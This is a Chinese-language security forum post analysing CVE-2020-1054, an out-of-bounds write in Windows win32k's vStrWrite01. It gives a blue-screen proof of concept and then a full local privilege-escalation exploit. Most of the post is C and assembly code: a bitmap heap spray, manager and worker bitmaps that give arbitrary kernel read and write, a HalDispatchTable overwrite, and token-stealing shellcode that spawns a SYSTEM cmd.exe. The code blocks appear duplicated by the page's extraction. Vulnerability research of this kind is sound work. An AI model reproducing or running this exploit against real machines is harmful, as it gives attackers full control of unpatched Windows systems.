-
-
[原创]win越界写漏洞分析 CVE-2020-1054
-
发表于: 2023-1-5 17:35 25473
-
这篇是1-4正好赶上换域名时编辑的帖子,换完全没了,心态炸了。。。
还未写完,后续补补,怕编辑中的帖子又没了
参考链接:
https://cpr-zero.checkpoint.com/vulns/cprid-2153/
https://www.anquanke.com/post/id/209329#h2-0
https://bbs.kanxue.com/thread-273701.htmhttps://bbs.kanxue.com/thread-260884.htm
漏洞poc
https://learn.microsoft.com/zh-cn/windows/win32/api/wingdi/nf-wingdi-createcompatibledc
CreateCompatibleDC 函数 (DC) 创建与指定设备兼容的内存设备上下文。
https://learn.microsoft.com/zh-cn/windows/win32/api/wingdi/nf-wingdi-createcompatiblebitmap
CreateCompatibleBitmap 函数创建与与指定设备上下文关联的设备的位图。
https://learn.microsoft.com/zh-cn/windows/win32/api/winuser/nf-winuser-drawiconex
DrawIconEx将图标或光标绘制到指定的设备上下文中,执行指定的光栅操作,并按指定拉伸或压缩图标或光标。
编译运行poc,系统触发蓝屏,挂上winbdg看看
可以看到是在win32k!vStrWrite01+0x36a处触发的漏洞
崩溃是由于无效的内存引用而发生的,CheckPoint网站上对这个漏洞的描述是它是一个越界(OOB)写入漏洞。
触发漏洞的vStrWrite01函数中的结构如下
读取的内存地址由rcx与rax决定,所以就需要分析rcx与rax的计算才能知道读取的内存地址。
r14寄存器的值的计算可以用以下循环来计算:
mov esi, [r14] esi后面会被用来进行and或or
vStrWrite01函数完整的逆向参见https://bbs.kanxue.com/thread-260884.htm 很详细
漏洞利用的步骤如下:
创建用来触发漏洞的BitMap对象hExpBitMap(fffff900’c700000)
在hExpBitMap偏移0x100070000处放置一个BitMap对象,作为hManager
在hManager之后偏移0x7000地址处分配一个BitMap对象作为hWorker
(申请足够多的SURFOBJs(通过CreateCompatibleBitmap)这样其中一个会被分配在(fffff900’c700000)
另一个SURFOBJ会被分配在第一个的后面
同时第三个SURFOBJ会被分配在第二个的后面
计算出 loop_iterations * lDelta 的值,让这个值等于 fffff901'c7000240
)
触发漏洞,扩大hManager所对应的BitMap对象的sizelBitmap来扩大hManager的可读写范围
通过hManager修改hWorker对应的BitMap对象的pvScan0
就可以实现任意地址读写修改进程的token实现提权
exp
#include <Windows.h>
#include <inttypes.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
int
main(
int
argc, char
*
argv[])
{
LoadLibrary(
"user32.dll"
);
HDC r0
=
CreateCompatibleDC(
0x0
);
HBITMAP r1
=
CreateCompatibleBitmap(r0,
0x9f42
,
0xa
);
SelectObject(r0, r1);
DrawIconEx(r0,
0x0
,
0x0
,
0x30000010003
,
0x0
,
0xfffffffffebffffc
,
0x0
,
0x0
,
0x6
);
return
0
;
}
#include <Windows.h>
#include <inttypes.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
int
main(
int
argc, char
*
argv[])
{
LoadLibrary(
"user32.dll"
);
HDC r0
=
CreateCompatibleDC(
0x0
);
HBITMAP r1
=
CreateCompatibleBitmap(r0,
0x9f42
,
0xa
);
SelectObject(r0, r1);
DrawIconEx(r0,
0x0
,
0x0
,
0x30000010003
,
0x0
,
0xfffffffffebffffc
,
0x0
,
0x0
,
0x6
);
return
0
;
}
VOID vStrWrite01(STRRUN
*
prun,
XRUNLEN
*
pxrlEnd,
SURFACE
*
pSurf,
CLIPOBJ
*
pco)
VOID vStrWrite01(STRRUN
*
prun,
XRUNLEN
*
pxrlEnd,
SURFACE
*
pSurf,
CLIPOBJ
*
pco)
typedef struct _STRRUN
{
LONG
yPos;
LONG
cRep;
XRUNLEN xrl;
} STRRUN;
typedef struct _XRUNLEN
{
LONG
xPos;
LONG
cRun;
LONG
aul[
1
];
} XRUNLEN;
typedef struct tagSIZE {
LONG
cx;
LONG
cy;
} SIZE,
*
PSIZE,
*
LPSIZE;
typedef SIZE SIZEL;
typedef struct _BASEOBJECT64{
ULONG64 hHmgr;
/
/
0x00
ULONG32 ulShareCount;
/
/
0x08
WORD cExclusiveLock;
/
/
0x0A
WORD BaseFlags;
/
/
0x0C
ULONG64 Tid;
/
/
0x10
} BASEOBJECT64;
typedef struct _SURFOBJ64{
BASEOBJECT64 baseObj;
/
/
0x00
ULONG64 dhsurf;
/
/
0x18
ULONG64 hsurf;
/
/
0x20
ULONG64 dhpdev;
/
/
0x28
ULONG64 hdev;
/
/
0x30
SIZEL sizlBitmap;
/
/
0x38
ULONG64 cjBits;
/
/
0x40
ULONG64 pvBits;
/
/
0x48
ULONG64 pvScan0;
/
/
0x50
ULONG32 lDelta;
/
/
0x58
ULONG32 iUniq;
/
/
0x5C
ULONG32 iBitmapFormat;
/
/
0x60
USHORT iType;
/
/
0x64
USHORT fjBitmap;
/
/
0x66
} SURFOBJ64;
typedef struct _STRRUN
{
LONG
yPos;
LONG
cRep;
XRUNLEN xrl;
} STRRUN;
typedef struct _XRUNLEN
{
LONG
xPos;
LONG
cRun;
LONG
aul[
1
];
} XRUNLEN;
typedef struct tagSIZE {
LONG
cx;
LONG
cy;
} SIZE,
*
PSIZE,
*
LPSIZE;
typedef SIZE SIZEL;
typedef struct _BASEOBJECT64{
ULONG64 hHmgr;
/
/
0x00
ULONG32 ulShareCount;
/
/
0x08
WORD cExclusiveLock;
/
/
0x0A
WORD BaseFlags;
/
/
0x0C
ULONG64 Tid;
/
/
0x10
} BASEOBJECT64;
typedef struct _SURFOBJ64{
BASEOBJECT64 baseObj;
/
/
0x00
ULONG64 dhsurf;
/
/
0x18
ULONG64 hsurf;
/
/
0x20
ULONG64 dhpdev;
/
/
0x28
ULONG64 hdev;
/
/
0x30
SIZEL sizlBitmap;
/
/
0x38
ULONG64 cjBits;
/
/
0x40
ULONG64 pvBits;
/
/
0x48
ULONG64 pvScan0;
/
/
0x50
ULONG32 lDelta;
/
/
0x58
ULONG32 iUniq;
/
/
0x5C
ULONG32 iBitmapFormat;
/
/
0x60
USHORT iType;
/
/
0x64
USHORT fjBitmap;
/
/
0x66
} SURFOBJ64;
for
(i
=
0
; i < prun
-
>yPos; i
+
+
)
{
r14
=
pSurf
-
>lDelta
*
prun
-
>yPos
+
pSurf
-
>pvScan0
+
(prun
-
>xrl
-
>xPos >>
5
)
*
4
+
i
*
pSurf
-
>lDelta
/
/
对r14指向的内存地址进行读写
}
for
(i
=
0
; i < prun
-
>yPos; i
+
+
)
{
r14
=
pSurf
-
>lDelta
*
prun
-
>yPos
+
pSurf
-
>pvScan0
+
(prun
-
>xrl
-
>xPos >>
5
)
*
4
+
i
*
pSurf
-
>lDelta
/
/
对r14指向的内存地址进行读写
}
#pragma once
#include <cstdio>
#include <windows.h>
#include <Psapi.h>
#define PAGE_SIZE 0x1000
#define TYPE_WINDOW 1
#define POOL_HEADER_SIZE 0x10
EXTERN_C_START
ULONG64 GetPEB();
NTSTATUS ShellCodeInWin7();
EXTERN_C_END
/
*
.code
ShellCodeInWin7 proc
push r8
push r9
; 从KPCR中获取当前线程_ETHREAD
mov rax, gs:[
188h
]
; 从_ETHREAD中获取当前进程_EPROCESS
mov rax, [rax
+
070h
]
mov r8, rax
find_system_proc:
; 获取下一进程EPROCESS地址
mov rax, [rax
+
188h
]
sub rax,
188h
; 获取PID
mov rdx, [rax
+
180h
]
; 判断pid是否为
4
,不为
4
则跳转
cmp
rdx,
4
jne find_system_proc
; 将system的token赋值给本进程,并增加引用计数
mov rax, [rax
+
208h
]
and
al,
0f0h
mov [r8
+
208h
], rax
mov r9,
2
add [rax
-
30h
], r9
; 设置返回值,退出函数
mov rax,
1
pop r9
pop r8
ret
ShellCodeInWin7 endp
.code
GetPEB proc
mov rax, gs:[
60h
]
ret
GetPEB endp
end
*
/
typedef DWORD64 QWORD;
typedef PDWORD64 PQWORD;
typedef struct _LARGE_UNICODE_STRING {
ULONG Length;
ULONG MaximumLength :
31
;
ULONG bAnsi :
1
;
PWSTR
Buffer
;
} LARGE_UNICODE_STRING,
*
PLARGE_UNICODE_STRING;
typedef struct _HEAD
{
HANDLE h;
DWORD clockObj;
}HEAD,
*
PHEAD;
typedef struct _THROBJHEAD
{
HEAD h;
PVOID pti;
}THROBJHEAD,
*
PTHROBJHEAD;
typedef struct _THRDESKHEAD
{
THROBJHEAD h;
PVOID rpdesk;
PVOID pSelf;
}THRDESKHEAD,
*
PTHRDESKHEAD;
typedef struct _GDICELL64 {
PVOID pKernelAddress;
USHORT wProcessId;
USHORT wCount;
USHORT wUpper;
USHORT wType;
PVOID pUserAddress;
} GDICELL64,
*
PGDICELL64;
typedef NTSTATUS(WINAPI
*
lpfnNtQueryIntervalProfile)(IN QWORD Src, IN OUT PQWORD Profile);
VOID ShowError(char
*
str
, DWORD dwErrorCode)
{
printf(
"%s Error 0x%X\n"
,
str
, dwErrorCode);
}
ULONG64 GetNTBase()
{
ULONG64 Base[
0x1000
];
DWORD dwRet
=
0
;
ULONG64 ulKrnlBase
=
0
;
if
(EnumDeviceDrivers((LPVOID
*
)&Base, sizeof(Base), &dwRet))
{
ulKrnlBase
=
Base[
0
];
}
else
{
printf(
"EnumDeviceDrivers"
);
}
return
ulKrnlBase;
}
PVOID GetHalQuerySystemInformation()
{
PVOID pXHalQuerySystemInformation
=
NULL;
ULONG64 ulHalDispatchTable
=
0
;
HMODULE hKernel
=
NULL;
ULONG64 ulOsBase
=
0
;
ulOsBase
=
GetNTBase();
if
(!ulOsBase)
{
goto exit;
}
hKernel
=
LoadLibraryA(
"ntoskrnl.exe"
);
if
(!hKernel)
{
printf(
"LoadLibrary"
);
goto exit;
}
/
/
获取内核HalDispatchTable函数表地址
ulHalDispatchTable
=
(ULONG64)GetProcAddress((HMODULE)hKernel,
"HalDispatchTable"
);
if
(!ulHalDispatchTable)
{
printf(
"GetProcAddress"
);
goto exit;
}
ulHalDispatchTable
=
ulHalDispatchTable
-
(ULONG64)hKernel
+
ulOsBase;
pXHalQuerySystemInformation
=
(PVOID)(ulHalDispatchTable
+
sizeof(ULONG64));
exit:
if
(hKernel) FreeLibrary(hKernel);
return
pXHalQuerySystemInformation;
}
BOOL
CallNtQueryIntervalProfile()
{
BOOL
bRet
=
TRUE;
NTSTATUS status
=
0
;
HMODULE hDll
=
NULL;
hDll
=
LoadLibraryA(
"ntdll.dll"
);
if
(!hDll)
{
printf(
"LoadLibrary ntdll.dll"
);
return
FALSE;
}
lpfnNtQueryIntervalProfile NtQueryIntervalProfile
=
(lpfnNtQueryIntervalProfile)GetProcAddress(hDll,
"NtQueryIntervalProfile"
);
if
(!NtQueryIntervalProfile)
{
bRet
=
FALSE;
printf(
"GetProcAddress"
);
return
FALSE;
}
QWORD dwRet
=
0
;
QWORD dwProfileTotalIssues
=
0x3
;
status
=
NtQueryIntervalProfile(dwProfileTotalIssues, &dwRet);
if
(status <
0
)
{
printf(
"NtQueryIntervalProfile"
);
return
FALSE;
}
}
/
/
成功扩大hManager的读写范围之后,就可以通过修改hWorker的pvScan0来实现任意地址读写
BOOL
EnablePrivilege_CVE_2020_1054(HBITMAP hManager, HBITMAP hWorker, ULONG64 ulSize)
{
PVOID pBuf
=
NULL;
pBuf
=
malloc(ulSize
+
0x10
);
if
(!pBuf)
{
printf(
"malloc error"
);
return
FALSE;
}
ZeroMemory(pBuf, ulSize
+
0x10
);
if
(!GetBitmapBits(hManager, ulSize, pBuf))
{
printf(
"GetBitmapBits error"
);
return
FALSE;
}
ULONG64 ulHalQuerySystenInformation
=
(ULONG64)GetHalQuerySystemInformation();
if
(!ulHalQuerySystenInformation)
{
printf(
"GetHalQuerySystemInformation error"
);
return
FALSE;
}
*
(PULONG64)((ULONG64)pBuf
+
ulSize)
=
ulHalQuerySystenInformation;
if
(!SetBitmapBits(hManager, ulSize
+
sizeof(ULONG64), pBuf))
{
printf(
"SetBitmapBits"
);
return
FALSE;
}
ULONG64 ulOrg
=
0
;
if
(!GetBitmapBits(hWorker, sizeof(ULONG64), &ulOrg))
{
printf(
"GetBitmapBits error"
);
return
FALSE;
}
ULONG64 ulShellCode
=
(ULONG64)ShellCodeInWin7;
if
(!SetBitmapBits(hWorker, sizeof(ULONG64), &ulShellCode))
{
printf(
"GetBitmapBits"
);
return
FALSE;
}
if
(!CallNtQueryIntervalProfile())
{
return
FALSE;
}
if
(!SetBitmapBits(hWorker, sizeof(ULONG64), &ulOrg))
{
printf(
"GetBitmapBits"
);
return
FALSE;
}
}
ULONG64 GetBitMapKerAddr(HBITMAP hBitMap)
{
ULONG64 pKernelAddress
=
NULL;
ULONG64 ulPEB
=
GetPEB();
ULONG64 ulGdiSharedHandleTable
=
*
(PULONG64)(ulPEB
+
0xF8
);
PGDICELL64 pGdiCell
=
NULL;
pGdiCell
=
(PGDICELL64)(ulGdiSharedHandleTable
+
sizeof(GDICELL64)
*
((ULONG64)hBitMap &
0xFFFF
));
return
(ULONG64)pGdiCell
-
>pKernelAddress;
}
static VOID CreateCmd()
{
STARTUPINFO si
=
{ sizeof(si) };
PROCESS_INFORMATION pi
=
{
0
};
si.dwFlags
=
STARTF_USESHOWWINDOW;
si.wShowWindow
=
SW_SHOW;
WCHAR wzFilePath[MAX_PATH]
=
{ L
"cmd.exe"
};
BOOL
bReturn
=
CreateProcessW(NULL, wzFilePath, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, (LPSTARTUPINFOW)&si, &pi);
if
(bReturn) CloseHandle(pi.hThread), CloseHandle(pi.hProcess);
}
int
main()
{
/
/
喷射大量
0x7000
大小的BitMap对象
if
(!LoadLibraryA(
"user32.dll"
))
{
printf(
"LoadLibrary error"
);
return
0
;
}
HDC hdc
=
NULL;
hdc
=
CreateCompatibleDC(NULL);
if
(!hdc)
{
printf(
"CreateCompatibleDC error"
);
return
0
;
}
HBITMAP hExpBitMap
=
NULL;
hExpBitMap
=
CreateCompatibleBitmap(hdc,
0x51500
,
0x100
);
if
(!hExpBitMap)
{
printf(
"CreateCompatibleBitmap error"
);
return
0
;
}
ULONG64 ulExpBitMap
=
GetBitMapKerAddr(hExpBitMap);
ULONG64 oob_target
=
(ulExpBitMap &
0xfffffffffff00000
)
+
0x0000000100000000
;
HBITMAP hManager
=
NULL, hWorker
=
NULL;
ULONG64 ulManager
=
0
, ulWorker
=
0
;
while
(true)
{
HBITMAP hBitMap
=
NULL;
hBitMap
=
CreateCompatibleBitmap(hdc,
0x6F000
,
0x8
);
if
(!hBitMap)
{
printf(
"CreateCompatibleBitmap error"
);
return
0
;
}
ULONG64 ulBitMapKerAddr
=
GetBitMapKerAddr(hBitMap);
if
(hManager)
{
ulWorker
=
ulBitMapKerAddr;
hWorker
=
hBitMap;
break
;
}
else
if
(ulBitMapKerAddr >
=
oob_target && (ulBitMapKerAddr &
0x0000000000070000
)
=
=
0x70000
)
{
ulManager
=
ulBitMapKerAddr;
hManager
=
hBitMap;
}
}
/
/
触发漏洞,修改hManger的可读写范围
SelectObject(hdc, hExpBitMap);
DrawIconEx(hdc,
0x900
,
0xb
, (HICON)
0x40000010003
,
0x0
,
0xffe00000
,
0x0
,
0x0
,
0x1
);
ULONG64 ulSize
=
ulWorker
+
0x50
-
(ulManager
+
0x238
);
if
(!EnablePrivilege_CVE_2020_1054(hManager, hWorker, ulSize))
{
printf(
"error"
);
return
0
;
}
CreateCmd();
return
0
;
}
#pragma once
#include <cstdio>
#include <windows.h>
#include <Psapi.h>
#define PAGE_SIZE 0x1000
#define TYPE_WINDOW 1
#define POOL_HEADER_SIZE 0x10
EXTERN_C_START
ULONG64 GetPEB();
NTSTATUS ShellCodeInWin7();
EXTERN_C_END
/
*
.code
ShellCodeInWin7 proc
push r8
push r9
; 从KPCR中获取当前线程_ETHREAD
mov rax, gs:[
188h
]
; 从_ETHREAD中获取当前进程_EPROCESS
mov rax, [rax
+
070h
]
mov r8, rax
find_system_proc:
; 获取下一进程EPROCESS地址
mov rax, [rax
+
188h
]
sub rax,
188h
; 获取PID
mov rdx, [rax
+
180h
]
; 判断pid是否为
4
,不为
4
则跳转
cmp
rdx,
4
jne find_system_proc
; 将system的token赋值给本进程,并增加引用计数
mov rax, [rax
+
208h
]
and
al,
0f0h
mov [r8
+
208h
], rax
mov r9,
2
add [rax
-
30h
], r9
; 设置返回值,退出函数
mov rax,
1
pop r9
pop r8
ret
ShellCodeInWin7 endp
.code
GetPEB proc
mov rax, gs:[
60h
]
ret
GetPEB endp
end
*
/
typedef DWORD64 QWORD;
typedef PDWORD64 PQWORD;
typedef struct _LARGE_UNICODE_STRING {
ULONG Length;
ULONG MaximumLength :
31
;
ULONG bAnsi :
1
;
PWSTR
Buffer
;
} LARGE_UNICODE_STRING,
*
PLARGE_UNICODE_STRING;
typedef struct _HEAD
{
HANDLE h;
DWORD clockObj;
}HEAD,
*
PHEAD;
typedef struct _THROBJHEAD
{
HEAD h;
PVOID pti;
}THROBJHEAD,
*
PTHROBJHEAD;
typedef struct _THRDESKHEAD
{
THROBJHEAD h;
PVOID rpdesk;
PVOID pSelf;
}THRDESKHEAD,
*
PTHRDESKHEAD;
typedef struct _GDICELL64 {
PVOID pKernelAddress;
USHORT wProcessId;
USHORT wCount;
USHORT wUpper;
USHORT wType;
PVOID pUserAddress;
} GDICELL64,
*
PGDICELL64;
typedef NTSTATUS(WINAPI
*
lpfnNtQueryIntervalProfile)(IN QWORD Src, IN OUT PQWORD Profile);
VOID ShowError(char
*
str
, DWORD dwErrorCode)
{
printf(
"%s Error 0x%X\n"
,
str
, dwErrorCode);
}
ULONG64 GetNTBase()
{
ULONG64 Base[
0x1000
];
DWORD dwRet
=
0
;
ULONG64 ulKrnlBase
=
0
;
if
(EnumDeviceDrivers((LPVOID
*
)&Base, sizeof(Base), &dwRet))
{
ulKrnlBase
=
Base[
0
];
}
else
{
printf(
"EnumDeviceDrivers"
);
}
return
ulKrnlBase;
}
PVOID GetHalQuerySystemInformation()
{
PVOID pXHalQuerySystemInformation
=
NULL;
ULONG64 ulHalDispatchTable
=
0
;
HMODULE hKernel
=
NULL;
ULONG64 ulOsBase
=
0
;
ulOsBase
=
GetNTBase();
if
(!ulOsBase)
{
goto exit;
}
hKernel
=
LoadLibraryA(
"ntoskrnl.exe"
);
if
(!hKernel)
{